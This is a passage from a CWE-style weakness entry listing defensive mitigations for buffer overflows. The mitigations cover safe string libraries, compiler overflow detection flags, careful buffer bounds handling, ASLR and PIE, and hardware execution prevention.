  • Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Operation Build and Compilation

Strategy: Environment Hardening

  • Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
  • D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
Implementation
  • Consider adhering to the following rules when allocating and managing an application's memory:
  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation

Strategy: Environment Hardening

  • Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
  • For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

No CAPEC attack patterns related to this CWE.